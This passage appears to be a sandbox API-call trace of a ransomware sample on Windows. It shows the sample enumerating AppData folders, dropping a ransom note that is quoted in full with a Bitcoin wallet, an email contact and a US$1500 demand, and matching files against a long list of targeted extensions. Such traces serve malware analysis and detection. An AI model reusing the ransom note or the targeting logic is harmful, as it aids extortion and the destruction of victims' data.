HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher" [0088.209] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher") returned 65 [0088.209] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.211] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.211] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 1 [0088.211] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.211] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.211] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 0 [0088.211] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750050, dwReserved1=0x6c0062, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0088.211] lstrcmpA (lpString1=".", lpString2="Publisher Building Blocks") returned -1 [0088.211] lstrcmpA (lpString1="..", lpString2="Publisher Building Blocks") returned -1 [0088.212] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.212] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Publisher Building Blocks" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0088.212] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned 81 [0088.212] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.215] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.215] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.215] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.215] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.215] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 1 [0088.215] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.215] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ContentStore.xml") returned 1 [0088.215] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ContentStore.xml") returned 1 [0088.215] lstrcmpiA (lpString1="", lpString2="ContentStore.xml") returned -1 [0088.215] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*.*") returned="*.*" [0088.216] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\" [0088.216] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\") returned="" [0088.216] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW TO DECRYPT FILES.txt" [0088.216] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\how to decrypt files.txt")) returned 0xffffffff [0088.216] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0088.217] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0088.217] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0088.219] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.219] CloseHandle (hObject=0x94) returned 1 [0088.219] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="ContentStore.xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" [0088.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.ems") returned 0 [0088.219] lstrlenA (lpString="*.ems") returned 5 [0088.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.db") returned 0 [0088.219] lstrlenA (lpString="*.db") returned 4 [0088.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.dbf") returned 0 [0088.220] lstrlenA (lpString="*.dbf") returned 5 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.myox") returned 0 [0088.220] lstrlenA (lpString="*.myox") returned 6 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.myo") returned 0 [0088.220] lstrlenA (lpString="*.myo") returned 5 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qbw") returned 0 [0088.220] lstrlenA (lpString="*.qbw") returned 5 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qbb") returned 0 [0088.220] lstrlenA (lpString="*.qbb") returned 5 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qbm") returned 0 [0088.220] lstrlenA (lpString="*.qbm") returned 5 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qbo") returned 0 [0088.220] lstrlenA (lpString="*.qbo") returned 5 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qbx") returned 0 [0088.220] lstrlenA (lpString="*.qbx") returned 5 [0088.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qba") returned 0 [0088.220] lstrlenA (lpString="*.qba") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qby") returned 0 [0088.221] lstrlenA (lpString="*.qby") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qbj") returned 0 [0088.221] lstrlenA (lpString="*.qbj") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.ofx") returned 0 [0088.221] lstrlenA (lpString="*.ofx") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.qif") returned 0 [0088.221] lstrlenA (lpString="*.qif") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.mye") returned 0 [0088.221] lstrlenA (lpString="*.mye") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.mbox") returned 0 [0088.221] lstrlenA (lpString="*.mbox") returned 6 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.eml") returned 0 [0088.221] lstrlenA (lpString="*.eml") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.pst") returned 0 [0088.221] lstrlenA (lpString="*.pst") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.ost") returned 0 [0088.221] lstrlenA (lpString="*.ost") returned 5 [0088.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.idx") returned 0 [0088.221] lstrlenA (lpString="*.idx") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.dbx") returned 0 [0088.222] lstrlenA (lpString="*.dbx") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.sql") returned 0 [0088.222] lstrlenA (lpString="*.sql") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.mdb") returned 0 [0088.222] lstrlenA (lpString="*.mdb") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.fdb") returned 0 [0088.222] lstrlenA (lpString="*.fdb") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.wab") returned 0 [0088.222] lstrlenA (lpString="*.wab") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.dat") returned 0 [0088.222] lstrlenA (lpString="*.dat") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.txt") returned 0 [0088.222] lstrlenA (lpString="*.txt") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.jpeg") returned 0 [0088.222] lstrlenA (lpString="*.jpeg") returned 6 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.jpg") returned 0 [0088.222] lstrlenA (lpString="*.jpg") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.png") returned 0 [0088.222] lstrlenA (lpString="*.png") returned 5 [0088.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.php") returned 0 [0088.223] lstrlenA (lpString="*.php") returned 5 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.cs") returned 0 [0088.223] lstrlenA (lpString="*.cs") returned 4 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.cpp") returned 0 [0088.223] lstrlenA (lpString="*.cpp") returned 5 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.rar") returned 0 [0088.223] lstrlenA (lpString="*.rar") returned 5 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.zip") returned 0 [0088.223] lstrlenA (lpString="*.zip") returned 5 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.html") returned 0 [0088.223] lstrlenA (lpString="*.html") returned 6 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.htm") returned 0 [0088.223] lstrlenA (lpString="*.htm") returned 5 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.xlsx") returned 0 [0088.223] lstrlenA (lpString="*.xlsx") returned 6 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.xls") returned 0 [0088.223] lstrlenA (lpString="*.xls") returned 5 [0088.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.mp4") returned 0 [0088.223] lstrlenA (lpString="*.mp4") returned 5 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.ppt") returned 0 [0088.224] lstrlenA (lpString="*.ppt") returned 5 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.pptx") returned 0 [0088.224] lstrlenA (lpString="*.pptx") returned 6 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.doc") returned 0 [0088.224] lstrlenA (lpString="*.doc") returned 5 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.dot") returned 0 [0088.224] lstrlenA (lpString="*.dot") returned 5 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.docx") returned 0 [0088.224] lstrlenA (lpString="*.docx") returned 6 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.7z") returned 0 [0088.224] lstrlenA (lpString="*.7z") returned 4 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.tar") returned 0 [0088.224] lstrlenA (lpString="*.tar") returned 5 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.bz2") returned 0 [0088.224] lstrlenA (lpString="*.bz2") returned 5 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.gz") returned 0 [0088.224] lstrlenA (lpString="*.gz") returned 4 [0088.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.mkv") returned 0 [0088.224] lstrlenA (lpString="*.mkv") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.eml") returned 0 [0088.225] lstrlenA (lpString="*.eml") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.msg") returned 0 [0088.225] lstrlenA (lpString="*.msg") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.edb") returned 0 [0088.225] lstrlenA (lpString="*.edb") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.accdb") returned 0 [0088.225] lstrlenA (lpString="*.accdb") returned 7 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.odb") returned 0 [0088.225] lstrlenA (lpString="*.odb") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.java") returned 0 [0088.225] lstrlenA (lpString="*.java") returned 6 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.asm") returned 0 [0088.225] lstrlenA (lpString="*.asm") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.pfx") returned 0 [0088.225] lstrlenA (lpString="*.pfx") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.pem") returned 0 [0088.225] lstrlenA (lpString="*.pem") returned 5 [0088.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.p12") returned 0 [0088.226] lstrlenA (lpString="*.p12") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.gpg") returned 0 [0088.226] lstrlenA (lpString="*.gpg") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.vsd") returned 0 [0088.226] lstrlenA (lpString="*.vsd") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.odg") returned 0 [0088.226] lstrlenA (lpString="*.odg") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.raw") returned 0 [0088.226] lstrlenA (lpString="*.raw") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.nef") returned 0 [0088.226] lstrlenA (lpString="*.nef") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.svg") returned 0 [0088.226] lstrlenA (lpString="*.svg") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.psd") returned 0 [0088.226] lstrlenA (lpString="*.psd") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.vmx") returned 0 [0088.226] lstrlenA (lpString="*.vmx") returned 5 [0088.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.vmdk") returned 0 [0088.226] lstrlenA (lpString="*.vmdk") returned 6 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.vdi") returned 0 [0088.227] lstrlenA (lpString="*.vdi") returned 5 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", pszSpec="*.lay6") returned 0 [0088.227] lstrlenA (lpString="*.lay6") returned 6 [0088.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", 